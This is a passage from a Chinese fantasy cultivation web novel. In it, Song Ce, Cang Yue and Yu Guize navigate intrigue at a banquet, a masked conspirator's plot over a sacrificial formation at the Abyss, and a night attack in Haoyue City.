宋策轻轻挑起送来的衣衫,神色晦暗目光隐藏在阴影中。
“我和他不是一路人。”
“他因利背弃我,如今我不过比他好过一些,他便来说和,往后若是有更好的筹码摆在他的眼前,终究还是要分道扬彪,到时免不得还要被他捅一刀。”
“我还以为宋大人要摆他一道呢,毕竟还有些利用价值。”
但苍月转头定定看着宋策,她眼前的那双墨色眼瞳冷厉地看过来,但苍月只是谦和地笑,柔和的烛光落在她的发鬓,任是其他人看来也会觉得这位谦虚的红衣女修是个温柔又充满亲和力的人。
见宋策不语,她扬起细眉反问,“难道不是吗?”
宋策眨眼挑眉,掩去眸中一丝暗色,“苍月大人真是善解人意。”
“彼此彼此,从心从性而已。”
苍月笑了笑,她与宋策相处的时日还没有连尽的多,但也是知道宋策的性情的,当年连尽所作所为并未实质伤害到花楼,但也终究让无辜的人处在危险之中,做出了背弃宋策的事情,说起无情,连尽还是更甚一筹呢。
世间少有能志同道合之人,即使是血亲挚友也能因为利益而互相算计,苍月对宋策的想法不置可否,她本也无意搅合宋策和连尽的事,便也不再说什么。
苍月随意拿起身边的药草在手中打转,似乎是想到些什么,不再调侃。
“人、妖、魔三族将在皓月城汇聚,大阵将成,你该如何?”
“事成之后,离开皓月城。”
“离开皓月城,我看没那么容易吧。”苍月斜靠在宋策的桌边,身形慵懒,她目光定定的看着跳动的火光,轻纱掩映之中,火光映照在视线中,她失神轻叹。
“很多时候,我们并无选择。”
“控制一下,我刚分好的药材。”宋策轻扯苍月衣袖将她没处放的手重新摆好。
她随手扔下药材。
“你说,这世间真的有什么能压制极渊灵煞的法阵吗,还有能重塑静脉,改天换命的魂丹?”
“我听着怎么觉得很假呢。”
城中最近谣传的消息中到底有几分真几分假,众说纷纭。
自古籍记载在册,万年前神州大陆众多地界无端涌出灵煞戾气,人妖魔三界民不聊生,三界畏危,各族首领立下契誓,合作镇压灵脉中泄出的灵煞之气。
如今的极渊就是古籍记载的一处旧址,皓月城主邀请来的各界修士为的就是最后镇压可能危害三界的怨煞灵脉。
“城主以魂丹作引,上古秘法所记载的魂丹,无品级的丹药消息一放出去,即使是本没胆子来皓月城的修道者也要来凑凑热闹。”
苍月颠颠拿在手中还散发着荧光的丹药,语气不屑道,“丹药不知真假,我看城中糟乱无序倒是真,尸鬼杀不完,一些查不清楚的怪物出来霍乱害民也是真。”
苍月陷入无端的猜测中,突然想起些什么。
“宋策,你们是不是私底下又在搞什么莫名其妙的事情?”
“苍月大人若是闲得慌请喝水。”说着他未抬头看
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一眼,不由分说将杯子推至苍月面前。
杯底空空,似乎是在让苍月自己倒水堵嘴。
苍月耸耸肩,见宋策一副拒绝交流的鬼样子,她也懒得说太多。
说起来宋策这种目中无人的人,换做平时她根本不会热脸去贴他的冷屁股。
当年两人还未相识时她就觉得宋策是个不好相与的,但总奇怪这个冷脸孤僻的宋道友在城主府中的人缘却意外好,总有些人腆着脸赔笑。
一次意外出城处理事务,她养在身边的灵宠受伤无法诊断,一同出任务的宋策却帮她灵宠医治,当时她可能真的觉得这家伙是好心,如今苍月看来,这个无往不利的家伙似乎是想接触灵兽,学些御兽之法。
不过后来的苍月也算是明白为何这看着刻薄寡情的宋策也有人交好。炼丹、刻符、筑阵事事都通的怪才,她也喜欢这种人,除了有时候没办法与之交流其余完全是划算的买卖,于是她自顾自搞定了花楼坊主住在了宋策隔壁。
她随手顺走宋策摆在刚好摆在一边的木盒,拿回去给自家小宠尝尝咸淡。
“冷淡的宋同僚,得偿所愿啊,别死了。”
……
黑袍人黏腻又带着些诡秘探奇的目光上下打量着宋策,他眼神中闪过几分揶揄。
“天灵族的滋味如何?”
枯涩沙哑的声音响起,宋策有些烦躁的皱了皱眉,他掩盖住几分不易察觉的躁意。
“将他引到我的身边,你就不怕被怀疑?”
黑袍人随性仰躺在屋脊上,皓月当空月辉光轻撒在他撩开的衣袍上,月光映照他银色面具徒增几分柔色,他动作散漫随手将手中杯盏搁在瓦片上。
“突如其来的意外比蓄谋已久的必然要真实的多,他会相信那是与你命中注定的相遇。”
“况且宋大人惯会魅惑人呢,我自然信你。”他举起酒杯与宋策的杯子轻嗑,酒杯清脆叮当声在宁静的夜晚中格外明显。
他举杯前伸遮住宋策那张脸再缓缓移开露出样貌来。
黑袍人垂身看着宋策,从上到下,目光灼灼最后落在宋策浅棕色的眼眸上,他嘴角挂着几分轻佻的笑,似乎对宋策这张脸很是好奇。
“宋大人,蟾宫清晖落身,明月与你也当羞三分。”
宋策轻笑,压下眼底不明的神色,“大人醉了。”
黑袍人面具之下的眼眉轻挑,他摆摆手。
“喻归泽的灵丹,你打算什么时候取?”
他意味深长地看了眼宋策。
“等他完全信任我,依赖我时我才有机会取出灵丹。”宋策目光尖锐,藏在阴影之下。
“宋策,真心可以伪装,但利益从不掩饰,想要什么从来都是自己争取来的。”他起身看着站在屋檐下的宋策,身段轻盈飘然飞下,月光在一瞬中被他的衣袍遮住,再抬眼光辉已经消失在云翳之中。
“大阵需要生魂祭祀,只要将他们引入极渊中心启动大阵,届时重新压制极渊深处的灵煞,皓月城也能重新被极渊的灵脉滋养,再创皓月盛世。”
“宋策,留给我们的时间不多了,留给你的机会也不多了。”
“这世间,可从来没有什么比自己更重要的了。”
宴会的嘈杂声被遮挡在烟火交界处,黑袍人的身影的身影消失在烟火深处。
48. 第四十七章
“我还以为你今日不来了。”
苍月等在前厅,不知道宋策是从哪里出来的,还有些诧异,“来了许多外城人,情况特殊,没必要久处。”
她谨慎地扫视来来往往的宾客,气氛和谐的有些怪异,也许都是风雨欲来之前的平静。
看了眼宋策神情自若地跟着接待的随从,她眸光轻闪,传音给宋策。
“你身上有魔族气息。”
宋策脚步未停,随意道:“一只落单的魔族,起了些冲突。”
他知道苍月有些急迫的心思,“不急,难得有机会认识三界众人,再等等。”
宋策伸手拍怕苍月的肩膀,语意缓和带着些玩笑,“如今皓月城这般热闹,不能错过了。”
苍月压下心中隐隐不安感,无奈只能和宋策顺着宴会人群往里走,宴席尚未开始,已经有人陆续落座,宋策和苍月被安排在特殊的位置,庭榭小阁楼,正对着阁楼下的大宴席,也有其他贵客被另行安置,但宋策与苍月两人倒是格外普通显眼,看着服饰并不像远道而来的外城人,两人难免吸引一些人的注意。
“两位道长,我家公子说今日繁忙暂时不方便亲自招待,还请海涵。”
苍月摸摸鼻尖,随手打发了小侍,转头一脸调侃地问宋策,“沾了你宋大人的光,还能坐上等席位呢。”
宋策从容不迫地拿起茶杯喝水,他倒是受用的很,“救命之恩应该的。”
苍月笑而不语,宋策怎么和这伍公子搭上关系的,她不知底细,猜到有几分情谊关系,但更多的应该还是利益往来的纠葛。
今日即使这伍公子不来请宴,他们也会以别的身份来伍府,城中世家多与皓月城主有联系,他们这些人难免会扯上关系。
如今这伍府在这里为处理极渊灵煞的人办宴会招待,其实都是城主的意思。
心照不宣的时机,这府上不仅有各界各族修士,也有皓月城主无处不在的眼线。
“宋策,今夜我们只承伍公子的情来,还是别做什么其他动作,以免引火上身。”
宋策举起杯口低着嘴唇,眉目舒展,他一言不发地看着窗外,不知所思所想,苍月还是有些不放心。
“凭什么他们俩就能特殊弄一间啊,你们皓月城就这么待客?”
苍月闻声侧身向门外看去,珠纱轻动,帷幔轻浮之间,苍月看见一行人正吵吵嚷嚷地被拦在外面,她眉宇轻扬,嗤笑道,“看来我们不找麻烦也会有麻烦找来。”
“既有意结交,让他进来。”
微风掀起纱帘,朱半规隔着拦截的几人朝里看去。
云纱漫卷之间,一缕素影正斜倚雕花木窗垂目啜饮,另一位女修身着火红长裙伫立一侧,窗外灯火影影绰绰映照着,两人漫不经心地侧脸看过来,只消一眼朱半规顿时感觉心中血脉涌动,那一瞬的心悸让他意外地慌张。
他拦住身边的人,像模像样地作揖行礼,“二位道友,我等无意叨扰,只是想交个朋友。”
宋策微侧脸,透过纱帘看向他,几个人虽不是某个宗门的同类服饰打扮,但腰间系带皆以极北寒渊的天蚕云丝绢绣着朝阳曦光的花纹,宋策认出这几个人是赤霄门的弟子。
“既然这位道友想交个朋友,不如你进来?”宋策微笑抬手示意侍从放人。
朱半规狐疑地看了眼屋内两人,最终决定自己进去看看,明明从未见过这两人却有种特殊的熟悉感。
宋策示意朱半规坐下,亲手为他斟茶,朱半规有些不自在地抬头看了眼身边的苍月,总有种不合时宜的荒唐感,这下有些后悔冒失进来。
“我、咳在下朱半规,赤霄门弟子,方才不过想交个朋友,多有冒犯,还望道友不计前嫌。”
不知是朱半规错觉还是怎么,他总感觉见过这两人内心总有种不知名的忌惮。
“道友客气,坐吧。”宋策垂眸为朱半规倒茶示意。
于是三人就这么坐下了,气氛却诡异地沉默,朱半规这下真后悔了,他没事为什么要逞这英雄,和他一行之人怂恿他来查看到底是何许人也,如今三人就这样僵持已有一炷香的时间,他怀疑着两人故意晾着他。
苍月掩住微笑,瞥了眼一言不发看着窗外人群的宋策,淡然地放下茶杯,转头看向朱半规。
“这位道友,我和这位宋公子和这伍家少主是朋友,主家客气因此被请来招待,我们二人也是不明,原本以为只是普通宴席,没成想竟然是这般大的派头。”
“看道友也是从外城而来,只是好奇这些外城中人来这是做什么?”
朱半规见身边那位红衣女子说话了,心中无名紧张的心情稍作缓解,临到想开口搭话反而发现面部有些僵硬,只能喝口茶缓解一下,他还时不时窥看另一位的表情。
朱半规看了眼门外,想了想但还是压低声音凑近苍月,“其实我也不太清楚这事儿,我只知道你们皓月城主宴请了三界人,听说是要联合封印极渊灵煞。”
说到这,宋策有所动作了,他将视线视线移开窗外看向朱半规,手肘支起,指尖轻点面颊,眉宇间晕染着几分好奇,嘴角恰到好处地噙着笑,面色温和地搭话,“封印极渊?”
朱半规揉了揉鼻尖,知道这人也在听后,突然有些不好意思。
“封印这种事轮不到我,我只是随着师门出行的小弟子,出宗门历练。”
说着朱半规身体往前贴着桌沿,三人距离更近了些,他谨慎道:“我听说哈,只是听说,这皓月城主放出消息,极渊灵煞能炼化出传说中的魂丹。”
苍月语气怀疑。
“魂丹?传说中无品级的丹药。”
“极渊灵脉特殊,常年吸收三界魂灵,听说只要能炼化这极渊中积怨已久的魂魄就能得到这顶级丹药。”
苍月不动声色地看了眼宋策的表情,暗自压下疑虑,转而试探地问:“这种事情你就这样抖落出来了?”
闻言朱半规有些难为情地搓了搓手,讪笑道,“其实说起来也奇怪,不知道为什么刚才进来看见你们就有种熟悉的感觉。”
他手指抹了一把洒落桌角的水珠,“这些消息其实也不是什么秘密,只不过大家心照不宣不提罢了。”
“我看两位似乎很想知道,只是随口说说,当
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个乐子听听也就罢了,这种大事怎么可能和我们这些小鱼小虾有关系,到头来我也就凑个热闹,往后当个话本子故事讲给别人听。”
朱半规打个哈哈错开两人的打量,想着怎么离开呢,明显这两人也是来套话的,他想扇自己嘴巴,自己怎么就这么难熬呢,一股脑全说了,没事给自己找事。
宋策看着人来人往的大厅,视线也放在一处,“人、妖、魔族齐聚一堂,真是热闹。”
“自上古定下契约以来,这也是难得的景象。”
宋策转脸看着朱半规,他鸦羽般漆黑的眼睫遮盖不住那锋利的眼芒,目光犹如实质般盯着朱半规。
朱半规心下也是奇怪,感觉这人给他一种无形的压迫感,他喉结滚动,被注视时像被冷血动物盯上让人脊背发麻,视线为躲开交汇他不自觉转头向下看去。
这个人刚才是在看——
“这是人界段家的公子,虽说不是随着本家人一同前来,但是这人在段家也算是主脉那一支的。”
苍月身子微微坐直,眉间轻挑视线也移向下方人影。
“段家人?这么年轻,还是主家一脉?”苍月饶有兴趣地示意朱半规接着说。
宋策顺手又为他沏了一杯茶。
杯中茶水潋滟,茶香味道顺着水雾缭绕弥散开,朱半规有些许紧张的心情缓和下来,他轻啄一口,精神也舒展开来。
“现任段家家主的亲侄子,在段家身份也是不小呢”,朱半规说出有些意味来,他亮着眼光神色有些自满道,“这位在修仙界很是低调,很多人都没听说过,但是我却知道些消息。”
“你是怎么知道的?”宋策敲敲桌角给出一定的反应。
朱半规神采飞扬的神色一瞬的复杂但是很快被压下去,他唇角扬起,“我可是天下第一宗赤霄门的弟子,这种事还用问?”
“他身边那位是他朋友,两人常年结伴,一同在风鸣宗修行。”
宋策注意到那人身边跟随着一位带着面具的神秘修士,他周生气质诡异,旁人看不出底细,方才并未注意到这人的气息。
“喔,他看过来了!”
朱半规迅速撇开脑袋掩饰自己的身形,做贼心虚一般看向另外和他一起窥视的两位。
“风鸣宗,四大宗门之一,看来这位段家人实力很不错。”苍月还有心情斜眼玩笑。
宋策听出苍月弦外之音。
四大宗门中风雪门、天衍宗以及赤霄门开山创派的先辈都是人族,唯有这风鸣宗最是特殊,门派落址于人族地界,但相传是一只上古大妖开山立派,门中收徒不忌人妖魔之分,只要能被收入门中当弟子,接一律受到平等相待,师门有教无类。
这种另类的作风一直被其他人族的宗派所排斥,风鸣宗弟子大多与世人尊崇的修道者不同,向来被外人称道是离经叛道,不成体统的典型。
“所以,他身边这位其实不是一个人族修者。”
宋策并未像朱半规那样躲开,而是垂眸与之视线交汇,他举起杯盏微笑示意。
人族的世家子弟竟与一个异族同进同出,真是有趣。
50. 第四十九章
“别说话……”
喻归泽僵硬地坐在床榻边,腰部触感灼热却又似乎不具有实质的威胁,但他还是听话地没动,按在床沿的手指不自觉蜷缩了起来。
门外还有人的脚步声和窃窃私语。
窗幔遮掩霞光,人影绰绰,屋外传来说话声。
“道长,宋策如何?”
苍月还未得到回复,她身边的坊主就迫不及待地探着脑袋往里看,她推门的动作僵持了几下最后转身问身边的苍月:“这孩子是怎么了?”
她拽了拽苍月的衣袖,语气中有着迫切的担忧:“回来就没出来过,出什么事情了?”
苍月安抚地拍拍坊主的手,安慰道:“伍公子请宋策布阵,废了些灵气,需要修养。”
“喻道长在里面,没事的。”
苍月看了眼紧闭的门,并未窥探,正要拉坊主离开。
“他呢?”
一阵上楼的急步伐从两人身后响起,来人站在门前,眼神始终停留在紧闭的门上,他碧青色的眼瞳轻闪,凌厉的眉眼扫了一眼旁边两人,抬手掐诀正要破门而入,苍月急声厉呼打断他的手势——
“你要干什么?”
坊主看清这人面貌之后皱眉挡在门前,她眉梢轻挑,眼中不屑的神色近乎溢出,不满道:“你来干什么?”
坊主冷淡着神情,似乎和来人站在一起都弄脏了自己的衣摆,他挑起长衫轻轻抖动,嘴中吐出的话语都带着些阴阳怪气。
“这不是眼比天高的连尽公子嘛,我们花坊这种腌臜地哪里容得下你这尊大佛?”
坊主眼瞳轻巧地滑落至眼角斜楞这个踩高捧低、媚上欺下的东西,语气中很是不耐烦:“最好哪来的回哪去!”
“回?”连尽眼神冷漠,他僵硬的冷白色面容显露出薄情寡淡的神情,隐秘的杀意藏在竖瞳的荧光中,他嘴角挂着轻蔑的笑容,妩媚的眼睑轻眯起,看着坊主死白死白的脂粉,最终厌恶地撇开目光。
“今日我偏要闯呢?”
“连尽,你是知道他是什么性子的”,苍月制止连尽施法的手势,手指轻点后方,指尖还未触碰到门边,就被一股风刃似得灵力割破指尖,一颗血珠冒出,宋策设了禁制,她无奈地举起手看着连尽,“除非你想被他更厌恶一些。”
眼见着此妖似乎还是不死心,她干脆直言:“他不需要这些。”
话落苍月眼中露出几分怜悯,劝慰道,“其实你也不必至此。”
连尽眼瞳微变,不甘心地死死咬着内唇,直到口中蔓延出血腥气才恍然回神。
蛇妖来去无影。
她看着突然安静的氛围缓缓摇摇头,连尽有几分真心在里头她猜里头那人根本不在意,她确实不明白这种失了体面的纠缠到底有什么意义?
“他们走了。”
悬浮在两人中心的灵力如同绸带,晶莹的灵丹蕴藏着磅礴的灵气,喻归泽吐纳气息将灵脉中不息的灵力通过中心的媒介为宋策疗伤。
等终于停下动作,喻归泽收势收起内丹,俯身趴在宋策身边,伸出一只手指轻轻戳了戳眼前这只毛茸茸的小脑袋。
土灰色的触感软绵绵的,喻归泽情不自禁抿唇轻笑起来,眼神中透着些许心疼。
宋哥消耗灵力甚多,最终维持不住人身化作幼崽形态的小苍狼。
他摸摸幼兽形态的宋策,心中有些安慰,好在刚才为宋策疗伤时并未发现他身上根基问题,只是的灵力消耗,需要时日静养。
运转功法为他疗伤几日应该能恢复。
想到这喻归泽才能静下心来好好看看宋策。
他小心翼翼地趴在宋策小小的脑袋边,眼睛亮晶晶地盯着他的耳朵,看了许久最终忍不住指尖并拢夹起那软塌塌趴着的小耳朵,会心一笑,触感果然如同想象中的一样好。
他轻轻牵起宋策趴放在身前的小爪子,捏着毛茸茸的爪子,缓缓揉搓起来,似乎手感很不错,喻归泽整张脸都散发着明媚的色彩。
“你做什么?”那双紧闭的眼这时突然睁开和喻归泽对视上了,他按揉的手指停顿住,但眼底的笑意并未散开,他毫不顾忌勾起宋策窝藏在腹部的另一截小爪子,控制不住捏了捏,热热软软的。
想到刚才宋策就是这样用这只小爪子按着自己的后腰,喻归泽趴在宋策耳边的说话的语气藏着不易察觉的责怪:“宋哥,你刚才说话真凶。”
宋策沉默着移开视线,他有些不适应地躲开喻归泽的触碰,这人似乎对自己的耳朵格外钟情,三盘五次的搓揉。
喻归泽忍不住噗嗤笑了一声,惹得宋策看过来,但是喻归泽看着宋策那双严肃的眼睛时,更加忍俊不禁了,他没想到一向冷淡严肃的宋策也会有这种惹人怜爱的时候,整个幼崽形态握在手里暖洋洋的,他顶着一张毛茸茸的脸一脸严肃的看过来让喻归泽有种奇异的喜爱。
喻归泽抿唇轻笑看着宋策变成幼崽形态的样子,想到他还是改不了对宋哥的称呼,在幻境之外一直都是宋策照顾自己,就连最简单的护身之法宋哥也会细心指导。
宋策对他来说是兄长,是师父,他还是没办法毫无芥蒂地叫宋哥本名。
也许唤名字有亲近的意义,但等出去后他还是愿意唤他兄长。
幼狼的形态宋哥,这是喻归泽从未见过的宋哥。
“法阵反噬,你现在变成了小狼崽,需要休息几日,这次换我照顾你。”
“……”
喻归泽见宋策不说话,那张毛脸也未有任何表现,他小声劝说道,“刚才你不让我说话,就是不想让别人看到这个样子,我知你是怕其他人担心,我帮你瞒着。”
宋策略有挣扎的动作停住,抬头看向上方的阴影,浅棕色的眼瞳盯着喻归泽,声音有些莫名:“怕别人担心?”
“我会担心,但是我会用妖丹帮你疗伤,所以你不必担心。”喻归泽捏着宋策爪子未停,眼眸中星光闪动蕴含着说不清的情愫。
“妖丹?”
闻言,喻归泽表情也有些复杂,似乎想解释什么但最终含糊其辞躲过这个话题:“能协助你疗伤。”
宋策心中有些动容,他抽动被握住的“手”,但却一直被这个毫无顾忌的人紧紧握着,眼前这个满眼笑意的人似乎不知道所谓的“妖丹”是天灵族的与生俱来的灵丹。
喻归泽见宋策灰扑扑的眉心“老成”地皱起眉头,嘴角始终压不住笑意。
“多谢。”
宋策垂眸接受了这个人的好意。
怕别人担心?宋策心中轻嗤,别人如何看待他都与他毫不相干,他唯一在乎的是自己的性命,他的猜测毫无根据。
宋策压下不断涌出的丝丝缕缕的怪异感受,利落地跳到喻归泽的腿上,喻归泽顺势将他抱在怀里,宋策趴在这人的胸前,掌下有意无意按在他的心脏处,隐秘跳动的心脏就在他吻部。
衣服之下传来温热的体温,抬头就能看到脖颈之下鼓动的动脉,最
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终宋策只是疲惫地闭目养神。
感受着怀中暖炉似的宋策,喻归泽按耐不住心中的欣喜。
“你怎么会出现在宴会上?”
喻归泽微愣,但还是回答了宋策的问题:“我查到皓月城中有许多不对劲的地方,城中鬼怪的出现很蹊跷。”
“我想城中的暴乱与城主脱不了干系,所以今日潜入此次宴会探查,不过……”,喻归泽浅色的眸色在昏黄的灯光下晕染出淡淡的红色,他有些不自然地抚摸自己丹田处,沉默一息还是说了心中的疑惑,“我似乎能感受到极渊深处的震动,我的内丹能和极渊中的灵力波动产生共鸣。”
“原本想跟着那位伍公子查些内情,但宴会上突然出现的暴乱,就看到你了。”
宋策踩在喻归泽胳膊上,感觉脑袋有些昏昏沉沉的,最终岔开这些让他头疼的话题:“皓月城中不止这些被蛊虫寄生的邪物,还有其他躲在暗处或被藏在暗处的东西。”
“我知道”,喻归泽语意不明,眼神中透着一些不可置信的猜测和恐惧,“这些邪物部分毫无灵智,但有很多却还存在自己的神志。”
“这些用生灵炼制邪术的事都是真实存在的。”喻归泽贴在宋策脸侧,低声喃喃自语,像是在和记忆力的人对话。
“极渊快破了……也许都会死……”
察觉到耳边平稳的呼吸,喻归泽轻轻拍着宋策的脊背,感受到怀中温热的感受,心中无端的仓皇无措感才稍有缓解。
他与宋策在往生冥河中失联后,现在看来是迷失在极渊的幻境中了。
喻归泽取下始终戴在手上的戒指,最初迷失幻像中时戒指还散发出微光,但如今已过些时日了戒指都再无任何反应,他掐诀尝试向戒指中注入灵气,素白色戒指依然毫无亮色,戒指的光亮必之最初要更为灰暗了,他垂眸看了眼熟睡的宋策,有所考虑之后将戒指挂在了宋策的脖子上,谨慎地用法术打了个死结。
随后他轻轻将宋策放在床榻上,为他盖上一层薄毯,看着眼前这个小小的狼崽体形的宋策,喻归泽想起环绕在他们身边的一众心怀鬼胎的人,不禁眸色微暗。
不论是从鬼城来到这皓月城幻境中还是一步一步走入极渊深处,所有的一切他们似乎都是在被人推着走,就连青面鬼无意间送来的《一梦浮生》的绘本讲述的就是皓月城的故事,一切都有着千丝万缕的关系。
喻归泽走到窗边的小塌上拿出配剑轻轻擦拭,窗外云霞渐渐消散在天边,等最后一抹火烧艳云被黑暗吞噬,屋子中只剩下暗淡的烛光闪动。
书中被人刻意用古老的文字记载着皓月城变成鬼城的全部故事,但喻归泽却能认得那些文字,书页最尾页却又用通识文字简单留下了一个小小的“段”字,落款并无印章,一切都像是记书人匆忙之间录下的一个毫无根据的话本故事。
当日在段城主的藏书密室之中,认识这种古老文字的不止苍月和喻归泽,还有其他人,青面鬼送来的书出自前任鬼城之主段城主之手,他在引导别人进入极渊,进入故事之中的皓月城,这些不难猜,有人在一步一步引导他们解开这些谜团。
既然段城主留下这本记录特殊的藏本,那一定有着特殊的寓意,他在等自己想等的人,喻归泽想此次极渊之行真正的目的并不是虚无缥缈的魂丹。
理清一切思绪的喻归泽放下剑走向宋策歇息的床榻,如今小小身躯的宋策只能占据一小块范围,喻归泽卷起衣摆端坐在他身边沉息打坐。
51. 第五十章
平静的湖面激起一层涟漪,如镜面般沉寂的法阵被撕开一道裂缝,裂纹如蛛网一般向四面裂开,一缕凉风从窗户的缝隙钻进温暖的卧室。
一阵躁动响起,喻归泽按住靠在床榻边的佩剑,视线盯着晃动的纱帘,随后自然地看了眼正在休息的宋策,心中稍缓继而为他护法,翻身下床。
“小仙君,好久不见。”一声枯哑的声音蓦然出现在喻归泽身后,他转身挥出一道剑起将来者挡在几尺开外,屋内桌椅被剑势破开发出刺耳的声音。
“是你,你想做什么?”
黑袍人视线扫过喻归泽最后落到他身后,轻纱漫卷之中尚能看清里面微小的剪影,他漆黑的瞳孔微微转动,嘶哑嗓音从面具之下传出:“夜潜城主府,如今却躲在这种花间风月场所,我倒想问问阁下在皓月城做什么?”
“你是皓月城主的人?”喻归泽剑指黑袍人,质疑声却又充满笃定。
当初喻归泽追查尸鬼的踪迹,曾看见这人在皓月城外的一处隐蔽地摆阵炼制蛊人,
“城中的邪物都是城主府故意为之。”
喻归泽想起段城主记录在绘本上的惨烈场景,尸山血海,炼魂恶域,数不清的怪物和无数生灵被毁灭在一场精心安排的灾难中,难入轮回,在漫长无边的岁月里遭受烈火焚烧之苦。
他拿着剑的手忍不住颤抖起来,脑海中闪过一些混乱的片段,丹田处时刻存在的刺痛不断刺激着他的神识。
“为什么要毁掉皓月城?皓月城中还有那么多无辜的生灵!”喻归泽咬着牙,眼眶中泛着血红,眼瞳颜色在几息之间加深,悲怆的情绪涌上心头,他说不清自己为什么这般悲泣,似乎有一种掩藏在神识中的情绪被一点点被放大,将要冲破理智的牢笼。
喻归泽轻眨眼睫,掩下有些失控的情绪。
黑袍人对喻归泽突如其来的发难没有丝毫波动,面具之下的眼睛流露出几分不屑的嘲弄,他看向喻归泽指着自己的剑刃,目光一寸一寸从剑尖划向他的深红的眼睛,眼神有些怜悯:“仙君气性还挺大,到底是真为他人鸣不平还是自诩正义断人生路呢?”
“我不喜欢你那双眼!”黑衣人突然暴起,施法的灵力混着热浪震开喻归泽指向的剑,翻身躲开喻归泽直冲的剑锋,袖口中挥出无名粉末朝着喻归泽眼睛飞来。
喻归泽早有准备使出灵符化解。
似乎明知不是对手,黑袍人一步步躲开喻归泽的攻击,他眸光轻动,意识到喻归泽处处维持着床榻处的一片宁静,招式凌厉毫无破绽,但眼神骗不了人。
他闪身躲开攻击,灵力刹时搅乱纱幔,喻归泽紧蹙眉宇,刺出几枚银针打断黑袍人接近宋策的动作,趁此机会,黑袍人挥出一道灵符破开窗棂飞身逃脱。
“苍月前辈,有人突袭,速来!”
趁着夜色,破窗的碎屑炸开,月光清辉散满长街,亭中海棠零落,一阵疾风扫过,花枝乱颤馨香弥散开来。
喻归泽的白色身影在月夜之中极为显眼,空气中湿润的气息像是将要倾泻一场荡涤万物的大雨,挥剑断气之间,抹向剑刃的利气沾染了淡淡的薄雾,静脉中蕴含的灵力在这一刻似乎快要沸腾起来,喻归泽翻身飞跃的身影落下一片漆黑,月光这时突然被遮掩在阴云之中。
眼神一直锁定目标的喻归泽在这一刻视线顷刻间模糊,似乎是被一层薄纱覆盖难以视物,他心间一颤,顿觉不妙。
“喻道长,院中阵法被破!”
来不及多想,喻归泽急忙回到花坊,只觉得含着内丹的丹田处时时钝痛发紧,针刺一般不停歇刺激着他的意识,脑海中总时不时闪现出无数看不清的交错光影,不等细想只觉得头痛欲裂肝肠寸断,眼眶控制不住的发热,胸口闷沉喘不上气,每一个脏器都在剧烈颤抖着,每一滴血液都冷的刺骨,他控制不住干呕起来。
“道长,你怎么样?”苍月将失控地几个小妖制止住,就看见喻归泽扶着廊下圆柱走来,他脸色发白额头一片虚汗整个人好似刚刚淋了一场雨。
喻归泽抬掌挡开苍月的伸手的动作,他颤抖着唇瓣,眼中隐含着血色,问苍月,“他呢?”
苍月垂眸,不知作何回答。
他与极渊的感应越发强烈,身体也随着这股不明的力量产生反映,体内经脉似乎时刻都在膨胀,体外却犹如霜寒天气般受着冷,但是喻归泽暂时想不到太多,他掐诀的手也在抖,内心煎熬的同时也有片刻的庆幸,好在刚才他将戒指戴到了宋哥身上。
“是极渊。”喻归泽抬头看向远处黑云催压的群山,眸色愈深,暗沉失色藏着说不清的情绪。
月夜素辉洒在喻归泽的肩头,清白的月光将他的神情映衬的越发冷峻。
苍月沉气凝神看向极渊,一股说不出的复杂情绪缠绕心头,她看着沉默的喻归泽安慰:“既然如此,极渊我们是非去不可了。”
说完这些,苍月的略显疲惫的眼神透露出坚定的神情,但当她的视线扫过脸色惨败如纸的喻归泽时,不禁垂下眼眸。
“看来我来的正是时候。”
海棠树下清风渐起,一抹漆色身影站在落花的枝叶下,楼中烛光斜斜的落在花树下,黑衣人眯起眼帘轻轻勾起嘴角,他抬起折扇扫落左肩雨露红英,走到两人视线中。
“又是你。”
是昨日遇见的那只纠缠不休的魔族,喻归泽很是不耐烦,这只魔族当初在鬼城时他就曾与其打过照面,不成想如今在这里还能遇见,也许这只魔族有着自己的算计,但是现在的喻归泽完全没有心力与其消耗。
他握住剑柄的手紧了紧,手中紧绷,额间青筋轻轻跳动,视线如刀看着这只来路不明的魔。
“你想做什么?”
“别心急,我们聊聊那只半妖。”
“你什么意思?”喻归泽知道他说的是谁,看着眼前魔眼底含着对宋哥的不屑,他心中烈火愈发炙热。
喻归泽眼中露出狠厉的神色,眸光深邃,他握住长剑的动作轻轻颤抖,也许是心中难以控制的莫名情绪快要将他吞没,最后看向魔的眼满含杀意。
“可真凶”,他讪笑着走进,动作轻浮,言语中并未透露出一分一毫的担惊受怕,他笑盈盈地扇动扇面,“看来他将你养
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的不错,这么护主。”
喻归泽紧紧盯着他的眼睛,一瞬不曾移开,这只魔和其他人不一样,如今看来并没有迷失在幻境中,喻归泽很快意识到眼前的魔族并未失忆,他心下愈紧。
潮湿的空气被一阵风打破平静,苍月视线扫过这两人,她耳尖轻动,隔着层层遮掩看向前厅,那里嘈杂声此起彼伏,还好并未惊动其他人,苍月眼见情势不同寻常,有一股玄妙的气息萦绕在他们身边,苍月看了眼宋策消失的方向随后向喻归泽点头离开了后院。
“你没有迷失在幻境中。”
屠期绝听到喻归泽乍然的陈述,有些不以为意地转动扇柄,他眼角微掀意有所指:“我是没想到你居然也没有忘记自己是谁。”
“你似乎料定了我和极渊的感应,所以才来纠缠我们。”喻归泽笃定这人的目的不是皓月城的魂丹,这只魔和他们不一样,并非误入幻境而是有备而来。
屠期绝上下打量一番喻归则,最后笑了笑:“想必你也猜到了,我来极渊有其他目的,我是来找段城主的。”
“他已经不在了。”
“当然,他早就死了,就死在极渊中”,屠期绝毫不意外喻归泽这样的反应,早在这之前,他知道这位城主魂祭极渊,“他年少成名,一剑天下惊动四方,曾于上仙界四大宗门中的天衍宗修习,后叛出师门与另一位道尊同游三界,途径皓月城时在此地重伤皓月城主,之后数百年隐姓埋名不再出世。”
说起这位段城主时,他眼中还闪着对他的欣赏之意:“当真是恣意洒脱。”
他话锋一转,折扇轻敲另一只手掌:“我听说他有一本记载巫蛊秘术的绝世孤本。”
他眸色微暗,一只墨绿色的蜘蛛从他手腕处爬向扇柄,喻归泽看清那是一只炼制而成的蛊虫,八只爪子关节处立起的倒刺在月光下看上去森冷迫人。
不过屠期绝似乎分外喜爱这只蛊虫,他指尖轻点蛛虫背部,语意突然淡了下来:“家中长辈曾对此物颇有兴趣。”
“你和我说这些做什么?”喻归泽心中情绪起伏不安,喉结上下滚动,鬓边青筋紧绷,视线混沌不堪,时而看不清时而却似乎能看到宋哥正眼染笑意看着自己。
“你难道不好奇为何段城主会用只有少数人能看懂的文字记录异闻奇事吗,一本毫无灵力禁制的书卷就正好送到你的手上!”他走进一步直逼喻归泽眼前,与他双眼对视,“你不好奇这种文字来自哪里?”
